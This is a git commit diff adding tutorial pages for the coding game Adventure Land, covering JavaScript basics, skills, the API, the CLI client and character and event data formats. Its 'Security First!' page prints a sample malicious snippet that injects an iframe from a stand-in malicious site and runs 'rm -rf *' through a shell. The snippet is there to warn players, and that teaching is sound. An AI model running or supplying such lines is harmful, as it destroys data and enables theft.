mirror of
https://github.com/gooba42/adventureland.git
synced 2026-10-14 18:39:27 -05:00
Open source
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,30 @@
|
||||
<div class='code'>
|
||||
show_json(data);
|
||||
</div>
|
||||
|
||||
<p>Paragraph</p>
|
||||
|
||||
<p><span class='rlabel' onclick="render_function_reference($(this).html())">item_grade</span> <- reference label</p>
|
||||
|
||||
<p><span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.classes</span> <- json label</p>
|
||||
|
||||
<p><span class='elabel' onclick="code_eval('smart_move("goo")')">Move There</span> <- execute label</p>
|
||||
|
||||
<p><span class='dlabel'>"hit"</span> <- display</p>
|
||||
|
||||
<p><span class='hlabel'>Hint:</span> <- hint</p>
|
||||
|
||||
<div style='padding: 0px; border: 4px solid #2B5B89; display: inline-block; font-size: 0px'><img src="http://lh3.googleusercontent.com/BbENUEvYLaLvbHPdk9uWDkMwhh59v4Sd_V_wex6whMDiLr9h2ZDCmDN-i5XxTehHbnaRQPrnd-msEgSsjaQrLWxCNQz6uvvA=s400" style='height: 200px'/></div>
|
||||
|
||||
<div><span class='eiteml'></span> Left bottom corner indicates the item level</div>
|
||||
|
||||
<a href="https://github.com/kaansoral/adventureland/tree/master/cli" target="_blank">Here[GitHUB]</a>
|
||||
|
||||
<p>
|
||||
<span class='spsnowman'></span> The snowman spawns every hour. Snowman is a collaborative boss, everyone who participates gets a reward. You can only deal 1 damage to Snowman - better participate at each spawn for the common good!
|
||||
</p>
|
||||
|
||||
<script>
|
||||
$(".eiteml").html(item_container({skin:G.items.wblade.skin},{name:"wblade",level:12}));
|
||||
$(".spsnowman").html(sprite("snowman"));
|
||||
</script>
|
||||
@@ -0,0 +1 @@
|
||||
#!/usr/bin/env python
|
||||
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,14 @@
|
||||
<p>[Learning Coding is Easy]</p>
|
||||
|
||||
<p>Before you start the journey, let me assure you that learning how to Code is super easy, anyone can do it, you can easily do it, just stick along :)</p>
|
||||
|
||||
{#<p>Programming Languages are a lot like Microsoft Word, there are a lot of itsy bitsy features, imagine seeing Microsoft Word for the first time, all those functionalities, interfaces that you don't know what to do.. They would intimidate you, right? Yes it would. But anyone can use a text editor, you just type stuff, maybe make it bold, italic, If you are a pro at it, maybe align the text a bit, and that's it! <- Well coding is a lot like that too!</p>
|
||||
|
||||
<p>If you are not a coder, all the things that you don't know must be scaring you, scaring you so much that you could be believing that you can't do it. Well, know this: Things you don't know are a lot like the stupid functionalities Microsoft Word has, no normal person is going to use them, you don't need to know them, you can write a masterpiece novel and not know anything about them.</p>#}
|
||||
|
||||
<p>Coding is a lot like using a Text Editor, or a Calculator, it's just a tool to help you automate, to make computers do things for you, and in Adventure Land, you can make Code play the game for you :)</p>
|
||||
|
||||
<p>The Secret: You don't need to learn everything about a programming language, you just need to learn very little, and the rest, you can Google!</p>
|
||||
|
||||
<p>Adventure Land is written in Javascript, and you'll learn Javascript.</p>
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
<p>Using Javascript is as simple as:</p>
|
||||
|
||||
<div class='code trimnl executeb'>
|
||||
a=5;
|
||||
b=7;
|
||||
c=a*b;
|
||||
alert(c);
|
||||
</div>
|
||||
|
||||
<p>As you probably guessed, we used Javascript like a Calculator, the above program alerts "35".</p>
|
||||
|
||||
<p>Some more explanation:</p>
|
||||
|
||||
<div class='code'>
|
||||
a=5; // "a" is now a variable that holds the value 5
|
||||
b=7; // "b" is now a variable that holds the value 7
|
||||
c=a*b; // "c" is a new variable, it's calculated as 5x7 - it's equal to 35, it's the value it's holding now
|
||||
alert(c); // "alert" is a function that makes the browser pop up whatever you put in there, annoyingly, you probably saw them before :)
|
||||
</div>
|
||||
@@ -0,0 +1,40 @@
|
||||
<p>[Security First!]</p>
|
||||
|
||||
<p>In our daily lives, we run codes, programs, games - all from different resources. And we assume these will be safe, and others will make sure they are safe.</p>
|
||||
|
||||
<p>You have no other choice, as you can't see or inspect everything your computer runs.</p>
|
||||
|
||||
<p>However on Adventure Land you have the chance to quickly glance at every line of a Code you'll copy-paste from a fellow player, and <span style='color:#EB632B'>you must!</span></p>
|
||||
|
||||
<p>Doesn't matter if you are a Coder or not, it's usually easy to spot malicious Code!</p>
|
||||
|
||||
<p>Here's a quick Checklist:</p>
|
||||
|
||||
<pre style='font-family: Pixel; font-size: 32px'>
|
||||
1. Make sure there are no external links inside the Code
|
||||
2. Make sure the Code is simple, understandable
|
||||
3. Make sure the Code doesn't have anything funky
|
||||
4. If you are not sure, ask someone you trust to make sure
|
||||
</pre>
|
||||
|
||||
<p>If you can't be sure, you <span style='color:#EB4C42'>must-not!</span> copy-paste Code from someone else, and run it!</p>
|
||||
|
||||
<p>One example of a bad / malicious Code:</p>
|
||||
|
||||
<div class='code'>
|
||||
parent.$("body").append("<iframe src='MaliciousWebsite.com' />");
|
||||
// Injects a malicious website, to steal your items, and who knows what else?!
|
||||
require("shell").execute("rm -rf *");
|
||||
// Uses ->require<- in the game client to get higher Node access - to delete everything it can find!
|
||||
</div>
|
||||
|
||||
<p>Codes you copy-paste, should be as simple to you as:</p>
|
||||
|
||||
<div class='code'>
|
||||
setInterval(function(){
|
||||
heal(get_player("Wizard"));
|
||||
// It's easy to understand that this is a basic interval that tries to heal Wizard every 5 seconds
|
||||
},5000);
|
||||
</div>
|
||||
|
||||
{#<p>With a game, it's easy to ensure security, but as a friendly advice, keep in mind that we live in a bad world, with bad people, so make sure these people don't have anything on a good person like you, even if the worst case scenario happens, where they get access to all your personal files...</p> (probably too real for a game) #}
|
||||
@@ -0,0 +1,7 @@
|
||||
<p>Adventure Land uses a 2 dimensional coordinate system.</p>
|
||||
|
||||
<p>If you start at (0,0) and move 100 pixels right, you end up at (100,0)</p>
|
||||
|
||||
<p>If you start at (0,0) and move 100 pixels down, you end up at (0,100)</p>
|
||||
|
||||
<p>Work in progress ...</p>
|
||||
@@ -0,0 +1 @@
|
||||
<p>Work in progress ...</p>
|
||||
@@ -0,0 +1 @@
|
||||
Geometry
|
||||
@@ -0,0 +1,14 @@
|
||||
<p>Simplest way to move your character is the move method.</p>
|
||||
|
||||
<div class='code'>
|
||||
move(100,-50); // Takes you to X: 100, Y: -50
|
||||
</div>
|
||||
|
||||
<p>However, as you'll notice, move can't pass obstacles or chart a smart course, this is where smart_move shines.</p>
|
||||
|
||||
<div class='code'>
|
||||
smart_move(100,-50);
|
||||
smart_move({x:100,y:-50});
|
||||
smart_move({x:100,y:-50,map:character.map});
|
||||
// These 3 all take you to X: 100, Y: -50
|
||||
</div>
|
||||
@@ -0,0 +1,42 @@
|
||||
<p>Items are defined in <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.items</span> You can think of each G.items entry as a recipe for an item, the definition of the item. One example:</p>
|
||||
|
||||
<div class="code">
|
||||
"fclaw":{
|
||||
"type": "weapon",
|
||||
"wtype": "fist",
|
||||
"skin": "fclaw",
|
||||
"attack": 14,
|
||||
"range": 5,
|
||||
"ability": "freeze",
|
||||
"attr0": 0.2,
|
||||
"int": 8,
|
||||
"upgrade":{
|
||||
"attack": 4,
|
||||
"range": 1.5,
|
||||
"attr0": 0.1,
|
||||
},
|
||||
"name": "Frozen Claw",
|
||||
"g": 72000,
|
||||
"a": True,
|
||||
"grades": [0,7],
|
||||
}
|
||||
</div>
|
||||
|
||||
<p>It's of "type"/"weapon" - It's weapon type, i.e. "wtype" is "fist" - If you check <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.classes</span> - You can see which classes use "fist" weapons. The item's visible "name" is "Frozen Claw" - keep in mind that the item's keyname is "fclaw"</p>
|
||||
|
||||
<p>"grades" property determines [At what level the item becomes High grade, At what level the item becomes Rare grade], so [0,7] means it's High grade at +0 and Rare grade at +7.</p>
|
||||
|
||||
<p>Now that we know about the definition/recipe, we can move onto the actual items/products of these recipes. You can inspect your own items before we do so: <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">character.items</span> One example:</p>
|
||||
|
||||
<div class="code">
|
||||
{
|
||||
"name": "fclaw",
|
||||
"level": 8,
|
||||
}
|
||||
</div>
|
||||
|
||||
<p>So actual items refer to their definitions with their "name" attributes. It's the keyname from G.items</p>
|
||||
|
||||
<p>Useful function: <span class='rlabel' onclick="render_function_reference($(this).html())">item_grade</span></p>
|
||||
|
||||
<p>Work in progress / Incomplete</p>
|
||||
@@ -0,0 +1,50 @@
|
||||
<p>In Code, skills are referenced by their keys from: <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.skills</span></p>
|
||||
<p>One example is <span class='dlabel'>"supershot"</span> you can check out: <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">G.skills.supershot</span></p>
|
||||
|
||||
<div class='code'>
|
||||
// Going Invis with a Rogue
|
||||
use_skill("invis");
|
||||
|
||||
// Casting Merchant's Luck
|
||||
use_skill("mluck",get_player("LuckyCharacter"));
|
||||
|
||||
// Using Supershot with a Ranger
|
||||
var target=get_nearest_monster();
|
||||
if(is_in_range(target,"supershot") && !is_on_cooldown("supershot")
|
||||
&& character.mp>=G.skills.supershot.mp)
|
||||
use_skill("supershot",target);
|
||||
// Checks if a target is in "supershot" range, makes sure "supershot" isn't on cooldown and character has enough mana
|
||||
</div>
|
||||
|
||||
<p>Reference functions: <span class='rlabel' onclick="render_function_reference($(this).html())">use_skill</span> <span class='rlabel' onclick="render_function_reference($(this).html())">is_in_range</span> <span class='rlabel' onclick="render_function_reference($(this).html())">is_on_cooldown</span></p>
|
||||
|
||||
<p>Special Usage: 3-Shot</p>
|
||||
|
||||
<div class='code'>
|
||||
var targets=[];
|
||||
for(id in parent.entities)
|
||||
if(parent.entities[id].type=="monster" && is_in_range(parent.entities[id],"3shot") && targets.length<3)
|
||||
targets.push(parent.entities[id]);
|
||||
|
||||
// Use 3-Shot with a Ranger on 3 targets
|
||||
use_skill("3shot",targets);
|
||||
</div>
|
||||
|
||||
<p>Special Usage: Controlled Burst</p>
|
||||
|
||||
<div class='code'>
|
||||
var targets=[];
|
||||
for(id in parent.entities)
|
||||
if(parent.entities[id].type=="monster" && is_in_range(parent.entities[id],"cburst"))
|
||||
targets.push([parent.entities[id],100]);
|
||||
|
||||
// Attempt to use "Controlled Burst" for 100 mana on all monsters in range using a Mage
|
||||
use_skill("cburst",targets);
|
||||
</div>
|
||||
|
||||
|
||||
<p>Special Usage: Blink</p>
|
||||
|
||||
<div class='code'>
|
||||
use_skill("blink",[character.x+10,character.y+10]);
|
||||
</div>
|
||||
@@ -0,0 +1,13 @@
|
||||
<p>Your characters each have their own code slots, the game client auto saves your code to the game servers each time you run your code after a change.</p>
|
||||
<p>In addition to character code slots, you have 100 additional code slots, numbered from 1 to 100! Whereas your character code slots have larger numbers like 482008842 - which are actually the ID's of your characters.</p>
|
||||
<p>You can check out: <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">X.codes</span> - which includes the dictionary of your codes.</p>
|
||||
<p>The Steam and Mac clients also synchronize a local folder to include all your codes, you can type <span class='hlabel clickable' onclick='say("/codes")'>/codes</span> in chat to open this folder</p>
|
||||
<p>Your character codes are inside the <span class='dlabel'>characters</span> folder with file names such as <span class='dlabel'>Wizard.482008842.js</span> - Whereas your code slots are in the <span class='dlabel'>codes</span> folder with names such as <span class='dlabel'>Farming.12.js</span> - the number before .js matters a lot - it's how the game determines where to sync the file to.</p>
|
||||
<p>If you open the game on a different computer and there are old code files, they are moved to the <span class='dlabel'>history</span> folder, when the game detects simultaneous conflicting changes, the file is moved to the <span class='dlabel'>clash</span> folder. The code synchronization system is designed to be self healing and self synchronizing, but from feedback, currently it's not performing too well. If you can isolate a scenario it fails, it will help tremendously!</p>
|
||||
<p>Useful Functions:</p>
|
||||
<p><span class='rlabel' onclick="render_function_reference($(this).html())">load_code</span></p>
|
||||
<p><span class='rlabel' onclick="render_function_reference($(this).html())">require_code</span></p>
|
||||
<p><span class='rlabel' onclick="render_function_reference($(this).html())">upload_code</span></p>
|
||||
<p><span class='rlabel' onclick="render_function_reference($(this).html())">get_active_code_slot</span></p>
|
||||
<p><span class='rlabel' onclick="render_function_reference($(this).html())">get_edited_code_slot</span></p>
|
||||
<p>Your character loads its default code slot when you open the game in a new place, if you use the character default slot, it will be practical to open the game on Steam/Web etc. - However, you can also make a character use any other code slot locally. It's a good idea to use the character default slots for high level logic, and put your functions and routines to numbered code slots and in your character code slot, load those codes using <span class='rlabel' onclick="render_function_reference($(this).html())">load_code</span> which is pretty similar to just copy/pasting that entire code slot to the place where you load the code.</p>
|
||||
@@ -0,0 +1,20 @@
|
||||
<p>Adventure Land communicates with it's backend through API calls. This backend system has access to all the servers and characters. While the API system is intended for manual use only, you can use this system to occasionally programatically check out your friends, or check out all the online merchants.</p>
|
||||
|
||||
<p>Keep in mind that the data format and method names can change at any time in the future without a warning.</p>
|
||||
|
||||
<div class='code'>
|
||||
parent.api_call('pull_merchants');
|
||||
parent.api_call('pull_friends');
|
||||
</div>
|
||||
|
||||
<p>To catch the response:</p>
|
||||
|
||||
|
||||
<div class='code'>
|
||||
game.on('api_response',function(data){
|
||||
if(data.type=="merchants")
|
||||
{
|
||||
show_json(data);
|
||||
}
|
||||
});
|
||||
</div>
|
||||
@@ -0,0 +1 @@
|
||||
<p>Work in progress ...</p>
|
||||
@@ -0,0 +1,45 @@
|
||||
<p>CLI is a command line game client for Adventure Land. It's currently in a very early stage, but the base integration is there. As the developer, from my perspective, allowing the game to be run from the command line is very risky. While Adventure Land is a coding and botting game, there's a just exchange between the use of server resources and the use of one's own gaming hardware. For this reason, the CLI comes with a cost. It's 29 <a href="https://adventure.land/shells" target="_blank">shells</a> per week for now. You can purchase time with the following command: (Up to 4 weeks) <span style='color:#A3A3A3'>Ps. Characters up to Level 70 can run freely!</span></p>
|
||||
|
||||
<div class='code'>
|
||||
parent.api_call('cli_time');
|
||||
</div>
|
||||
|
||||
<p>To use the CLI, copy the files from: <a href="https://github.com/kaansoral/adventureland/tree/master/cli" target="_blank">Here[GitHUB]</a> - and copy common_functions.js to the same folder. (You can find it by typing /codes as a Chat command in the Steam or Mac client).</p>
|
||||
|
||||
<p>The node packages you need to install are: <span class='dlabel'>jsdom</span> <span class='dlabel'>request</span> and <span class='dlabel'>node-localstorage</span></p>
|
||||
|
||||
<div class='code'>
|
||||
npm install jsdom request node-localstorage
|
||||
// edit the characters array in master.js to include your own characters
|
||||
// edit auth to be: show_json(parent.Cookies.get("auth"))
|
||||
// then run your characters!
|
||||
node --expose-gc master.js
|
||||
</div>
|
||||
|
||||
<p>JSDom performance is enough for light operations, but since it's an emulation, it's too slow for computations like smart_move, for this reason, the CLI has a system to move computation out, and communicate with messages, you can use this system too:</p>
|
||||
|
||||
<div class='code'>
|
||||
// in master.js
|
||||
character['CharacterName'].worker.postMessage({a:1,b:2});
|
||||
// in character.js
|
||||
dom.window.CLI_IN.push({a:1,b:2});
|
||||
// in Code
|
||||
character.on("clim",function(data){
|
||||
// data is {a:1,b:2}
|
||||
});
|
||||
</div>
|
||||
|
||||
<p>You can either use the `cli_require` function inserted into the jsdom instance to request packages inside your game Code, or, you can use the same method to handoff objects or packages to the jsdom instance:</p>
|
||||
|
||||
<div class='code'>
|
||||
// in character.js, find "dom.window.cli_require=require;"
|
||||
// After that, add your own thing to insert
|
||||
dom.window.my_thing={a:1,b:2};
|
||||
// in your Code
|
||||
var my_thing=null;
|
||||
if(game.cli) // best to make your code work on all platforms, not only CLI
|
||||
{
|
||||
my_thing=parent.my_thing; // dom.window is the parent of Code
|
||||
}
|
||||
// Warning: the scoping could get funky, best to just offload things to character.js, or master.js as described above, move data in as "clim" messages
|
||||
</div>
|
||||
@@ -0,0 +1,26 @@
|
||||
<p>Adventure Land has a feature called Code Messages. It's a server-wide feature. You can't send a CM from EU I to EU II, however, you can send a code message anywhere from EU I to another character in EU I.</p>
|
||||
|
||||
<p>You can send objects as CM's, anything that can be JSON.stringify'ed can be sent, larger messages have higher code costs.</p>
|
||||
|
||||
<div class='code'>
|
||||
send_cm("Wizard","hello"); // Send a string
|
||||
send_cm("Wizard",{"items":character.items}) // Send your inventory data as a CM
|
||||
send_cm(["Wizard","Protector"],{"task":"move","map":character.map,"x":character.x,"y":character.y})
|
||||
// you can send CM's to multiple recipients
|
||||
// Instead of sending code messages individually, send them to multiple recipients whenever possible, the code cost is lower
|
||||
</div>
|
||||
|
||||
<p>To handle incoming CM's:</p>
|
||||
|
||||
|
||||
<div class='code'>
|
||||
function on_cm(name,data)
|
||||
{
|
||||
if(name!="Wizard") // Make sure to check who the CM came from
|
||||
{
|
||||
game_log("Unauthorized CM "+name);
|
||||
return;
|
||||
}
|
||||
show_json(data);
|
||||
}
|
||||
</div>
|
||||
@@ -0,0 +1,18 @@
|
||||
// Welcome!
|
||||
// These things are comments, they aren't evaluated as Javascript
|
||||
/* This is a comment too */
|
||||
// In this Tutorial, you are going to learn about variables and addition
|
||||
|
||||
var a=5; // We defined a - and set it's value to 5
|
||||
|
||||
b=6; // We set the value of b to 6 - if b wasn't defined, it's defined now
|
||||
|
||||
a=12; // Set set the value of a to 12
|
||||
|
||||
c=a+b; // c is now 12+6 - which is 18
|
||||
|
||||
b=20; // We set the value of b to 20
|
||||
|
||||
game_log(c); // game_log writes whatever you provide into the game's own logs
|
||||
|
||||
alert(c); // alert simply alerts whatever you provide it, try to use game_log whenever you can, it's less intrusive
|
||||
@@ -0,0 +1,144 @@
|
||||
<p>Your original character is <span class="clabel">parent.character</span></p>
|
||||
|
||||
<p>In Code, there's a <span class="clabel">character</span> object that mimics and extends your character object, you can notice the difference if you <span class="xlabel" onclick="code_eval($(this).html())">show_json(character)</span> <span class="xlabel" onclick="code_eval($(this).html())">show_json(character.slots)</span> and <span class="xlabel" onclick="code_eval($(this).html())">show_json(parent.character)</span></p>
|
||||
|
||||
<div class='code'>
|
||||
{
|
||||
"name": "CharacterName",
|
||||
"type": "character",
|
||||
"ctype": "warrior", // One of G.classes
|
||||
"hp": 2000,
|
||||
"max_hp": 2500,
|
||||
"mp": 360,
|
||||
"max_mp": 960,
|
||||
"level": 72,
|
||||
"xp": 978000, // Your current XP
|
||||
"max_xp": 420000000, // max_xp is G.levels[character.level]
|
||||
"str": 206,
|
||||
"int": 46,
|
||||
"dex": 46,
|
||||
"vit": 57,
|
||||
"for": 10, // 10 Fortitude, 10% PVP Damage Reduction
|
||||
"attack": 720,
|
||||
"frequency": 1.2, // attacks/second
|
||||
"speed": 95, // run speed, pixels/second
|
||||
"range": 40, // attack range in pixels
|
||||
"xrange": 25, // extra range allowance - increases 5/second - max 25
|
||||
"armor": 420,
|
||||
"resistance": 260,
|
||||
"mp_cost": 24,
|
||||
"evasion": 2.5, // 2.5%
|
||||
"miss": 0, // % of attacks you miss
|
||||
"reflection": 0, // magical attack reflection
|
||||
"lifesteal": 10, // 10%
|
||||
"manasteal": 0.25, // 0.25%
|
||||
"rpiercing": 0, // resistance piercing
|
||||
"apiercing": 0, // armor piercing
|
||||
"crit": 0, // % chance to hit 2X
|
||||
"dreturn": 0, // damage return
|
||||
"courage": 2, // max amount of physical targets before getting scared
|
||||
"mcourage": 2, // max amount of magical targets before getting scared
|
||||
"pcourage": 2, // max amount of pure targets before getting scared
|
||||
"fear": 0, // courage excess
|
||||
"tax": 0.02, // 2%
|
||||
"gold": 1200000000,
|
||||
"cash": 200, // Shells
|
||||
"xpm": 1, // XP multiplier
|
||||
"luckm": 1, // Luck multiplier
|
||||
"goldm": 1.25, // +25% Gold
|
||||
"targets": 2, // Number of monsters who target you
|
||||
"rip": false, // If true, you are dead
|
||||
"afk": false, // When you move your mouse, becomes true
|
||||
"visible": true, // Indicates whether a character is visible or not
|
||||
"code": true, // true when a character is running Code
|
||||
"citizen": false, // true for moving NPC's
|
||||
"ping": 64.5, // average round-trip between character and server in milliseconds
|
||||
"cc": 12.5, // Call Code Cost
|
||||
"moving": false,
|
||||
"target": "1233", // ID of the monster you are targeting
|
||||
// or the name of the character you are targeting
|
||||
"focus": "CharacterName", // Secondary, manual focus/target
|
||||
"in": "main", // Which instance your character is in
|
||||
// If you are in a dungeon, it's a unique ID, otherwise it's the map you are in
|
||||
"map": "main", // The map your character is in
|
||||
"x": 12.5, // Your actual parent.character has "real_x", "real_y" values
|
||||
"y": 40, // character object in Code mimics these values into "x" and "y
|
||||
"vision": [700,500], // Your vision, it's a 1400X1000 rectangle
|
||||
"owner": "5818821692620800", // Owner ID - Available If a character isn't private, "" otherwise
|
||||
"me": 1, // Set for your character
|
||||
"guild": "XYZ",
|
||||
"stand": false, // Merchant stand type
|
||||
"age": 123, // age in days
|
||||
"skin": "mwarrior", // Your base skin
|
||||
"cx": ["santahat"], // Cosmetics
|
||||
"slots": {
|
||||
"mainhand": {"name":"blade","level":9},
|
||||
"offhand": null,
|
||||
"helmet": null,
|
||||
"chest": {"name":"coat","level":8,"stat_type":"str"},
|
||||
"pants": null,
|
||||
"shoes": null,
|
||||
"gloves": null,
|
||||
"cape": null,
|
||||
"belt": {"name":"hpbelt","level":4},
|
||||
"ring1": null,
|
||||
"ring2": null,
|
||||
"earring1": null,
|
||||
"earring2": null,
|
||||
"amulet": null,
|
||||
"orb": null,
|
||||
"elixir": {"name":"eggnog","expires":"expires":"2053-02-19T07:00:59.459Z"}
|
||||
},
|
||||
"isize": 42, // Inventory size
|
||||
"esize": 40, // Empty slots
|
||||
"items": [
|
||||
// character.items.length is usually 42, but could be lower, empty spaces are null
|
||||
{"name":"gloves","level":0},
|
||||
null,
|
||||
{"name": "shadowstone","q":999}, // "q" is for the quantity of the item
|
||||
],
|
||||
"party": "LeaderName",
|
||||
"pdps": 12345.6789, // Approximated dps used for the party share %
|
||||
"s": {
|
||||
// Conditions or Buffs
|
||||
// G.conditions has stat information on most conditions
|
||||
// If a condition isn't present, it will likely not be in "s"
|
||||
// "ms" is milliseconds left
|
||||
"cursed": {"ms":400},
|
||||
"mluck": {"ms":120000,"f":"MerchantName"},
|
||||
"citizen0aura": {"ms":12000,"name":"Citizen's Aura","skin":"citizensaura","luck":100},
|
||||
// ^ an example of a dynamically generated status that's not on G.conditions
|
||||
"invis": false,
|
||||
"invincible": false,
|
||||
// you are invincible when you first enter a PVP area
|
||||
"poisoned": false,
|
||||
"poisonous": false,
|
||||
"stunned": false,
|
||||
},
|
||||
"c": {
|
||||
// Channeling actions
|
||||
// stop("town"), stop("revival") can be used to stop them
|
||||
"town": {"ms":3000}, // Set when "town" portal is in progress
|
||||
"revival": {ms:8000,f:"PriestName"}, // Set when revival is in progress
|
||||
},
|
||||
"q": {
|
||||
// Progressed actions
|
||||
"upgrade": {"ms":2000,"len":2000,"num":5}, // Item at inventory position #5 is being upgraded
|
||||
"compound": {"ms":8000,"len":10000,"num":0}, // Item at inventory position #0 is being compounded
|
||||
"exchange": {"ms":3000,name:"gem0","num":12}, // A "gem0" exchange is in progress
|
||||
},
|
||||
"friends": [ // Owner ID's of your friends
|
||||
"6237651870941184",
|
||||
"5605361818009600"
|
||||
],
|
||||
// Following attributes can be referenced when "moving" is true
|
||||
"vx": 95, // Speed on the X-axis
|
||||
"vy": 0, // Speed on the Y-axis
|
||||
"from_x": 12.5,
|
||||
"from_y": 40,
|
||||
"going_x": 525.5,
|
||||
"going_y": 40,
|
||||
}
|
||||
</div>
|
||||
|
||||
<p>Nearby Characters, Monsters and Citizens are in the <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">parent.entities</span> dictionary. You can check how the Code function <span class='rlabel' onclick="render_function_reference($(this).html())">get_nearest_hostile</span> parses this data.</p>
|
||||
@@ -0,0 +1,69 @@
|
||||
<p>Nearby Characters, Monsters and Citizens are in the <span class='jlabel' onclick="code_eval('show_json('+$(this).html()+')')">parent.entities</span> dictionary. You can check how the Code function <span class='rlabel' onclick="render_function_reference($(this).html())">get_nearest_monster</span> parses this data.</p>
|
||||
|
||||
<div class='code'>
|
||||
{
|
||||
"name": "Goo (Modified)",
|
||||
"type": "monster",
|
||||
"mtype": "goo",
|
||||
"skin": "goo",
|
||||
"hp": 20000,
|
||||
"max_hp": 50000,
|
||||
"mp": 100,
|
||||
"speed": 36,
|
||||
"xp": 1200,
|
||||
"attack": 120,
|
||||
"level": 8, // After level 12, only hp/max_hp/xp increases
|
||||
"frequency": 0.4, // 0.4 attacks/second
|
||||
"aggro": 0.5, // 50% chance to attack on sight
|
||||
"rage": 0.5, // 50% chance to target the player on attack
|
||||
"damage_type": "physical", // "physical" or "magical"
|
||||
"respawn": 10, // Respawns in 10 seconds on average
|
||||
"difficulty": 1.25, // A multiplier for monsters' gold drops
|
||||
"range": 12, // Attack range in pixels
|
||||
"id": "376", // ID of the monster
|
||||
"map: "main", // Map of the monster, always your map
|
||||
"in": "main", // Instance of the monster, always your instance
|
||||
"s": {
|
||||
"stunned": false,
|
||||
"cursed": {"ms":400},
|
||||
},
|
||||
"target": "CharacterName", // Set when a monster is targeting a player
|
||||
"moving": false,
|
||||
"visible": true, // If it's false, you can't see the monster
|
||||
"dead": false, // true when the monster is defeated
|
||||
// "dead" can have string values too, such as "map" / "vision"
|
||||
// Indicating the reason why the monster is as good as dead to you
|
||||
"x": 200,
|
||||
"y": 300,
|
||||
"width": 23,
|
||||
"height": 22,
|
||||
// Optional Attributes
|
||||
"armor": 0,
|
||||
"resistance": 750,
|
||||
"dreturn": 3, // 3% Damage Return
|
||||
"lifesteal": 120, // 120% Lifesteal
|
||||
"evasion": 12.5, // 12.5% Evasion
|
||||
"reflection": 5, // 5% Spell Reflection
|
||||
"humanoid": false, // Some things are more effective against humanoids
|
||||
"cooperative": true, // Everyone gets a %-based drop
|
||||
"immune": true, // Immune to most skills and conditions
|
||||
"1hp": true, // Attacks only deal 1hp damage
|
||||
"spawns": [
|
||||
[200,"nerfedmummy"], // Spawns a "nerfedmummy" every 200ms
|
||||
],
|
||||
"abilities": {
|
||||
"portal": {
|
||||
"cooldown": 0,
|
||||
},
|
||||
},
|
||||
// Following attributes can be referenced when "moving" is true
|
||||
"vx": 36, // Speed on the X-axis
|
||||
"vy": 0, // Speed on the Y-axis
|
||||
"from_x": 200,
|
||||
"from_y": 300,
|
||||
"going_x": 300,
|
||||
"going_y": 300,
|
||||
}
|
||||
</div>
|
||||
|
||||
<p><span class="xlabel" onclick="code_eval($(this).html())">show_json(G.monsters)</span> includes the base stats, "attack", "frequency", "speed", "hp", "xp" increase until level 12. <span class="xlabel" onclick="code_eval($(this).html())">show_json(G.maps.main.monsters)</span> is an example array of monster packs, if "grow" is set to true, that pack is marked for newcomers, these pack of monsters spawn faster and their stats increase less when they level up!</p>
|
||||
@@ -0,0 +1 @@
|
||||
<p>Work in progress ...</p>
|
||||
@@ -0,0 +1,261 @@
|
||||
<p>Character events are individual to your character.</p>
|
||||
|
||||
<div class='code'>
|
||||
// Register to a single character event:
|
||||
character.on("level_up",function(data){
|
||||
game_log("I am now level "+data.level+"!");
|
||||
});
|
||||
|
||||
// Register to all character events:
|
||||
character.all(function(name,data){
|
||||
data.event_name=name;
|
||||
show_json(data);
|
||||
});
|
||||
|
||||
</div>
|
||||
|
||||
<p>Data Reference:</p>
|
||||
|
||||
<span class='dlabel'>"new_map"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Sent after your character enters a new map
|
||||
name: "main", // G.maps.main
|
||||
in: "main", // Unique instance ID for instances
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"incoming"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// If an "action" Game Event is targeting you
|
||||
// It's emitted to your character as an "incoming" event
|
||||
source: "attack", // Can be positive or negative
|
||||
actor: "CharacterName", // Monster ID or Character ID
|
||||
target: "42", // Monster ID or Character ID
|
||||
damage: 1390,
|
||||
projectile: "momentum",
|
||||
eta: 50, // Arrival in milliseconds
|
||||
pid: "abcd1234", // Projectile ID
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"hit"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Emitted when you've been hit by a projectile
|
||||
// Could be damaging, healing, or containing a condition
|
||||
// The full reference can be found in Game Events
|
||||
source: "attack",
|
||||
actor: "AttackerID", // Monster ID or Character ID
|
||||
target: "YourCharacterName", // Monster ID or Character ID
|
||||
damage: 1390,
|
||||
pid: "abcd1234", // Projectile ID
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"target_hit"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Same format as "hit" event
|
||||
// Emitted when you've hit someone
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"loot"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
// Emitted when you or a party member opens a chest
|
||||
id: "qwerty12345",
|
||||
opener: "CharacterName", // Character who opened the chest
|
||||
goldm: 1.2, // Character who opened the chest had +20% Gold
|
||||
dry: false, // Set if the opener was far away from the chest
|
||||
stale: false, // Set if the chest was unopened for more than 30 minutes
|
||||
// If the dry or stale flags are set, goldm is 1
|
||||
gold: 87, // You looted 87 gold
|
||||
party: true, // The chest was looted by a party
|
||||
items:[
|
||||
{name:"xsword", "level":0, "looter":"ACharacterName"},
|
||||
{name:"xstaff", "level":0, "looter":null, "lostandfound":true}, // Lost
|
||||
{name:"xbow", "level":10, "looter":"AnotherCharacterName", pvp_loot:true},
|
||||
// pvp_loot flag is set if the chest was a character drop at pvp
|
||||
],
|
||||
}
|
||||
</div>
|
||||
|
||||
<span class='dlabel'>"buy"</span>
|
||||
<div class='code'>
|
||||
{
|
||||
name: "coat",
|
||||
num: 0, // Inventory slot 0
|
||||
q: 1, // Quantity
|
||||
cost: 6000, // Gold spent
|
||||
}
|
||||
</div>
|
||||
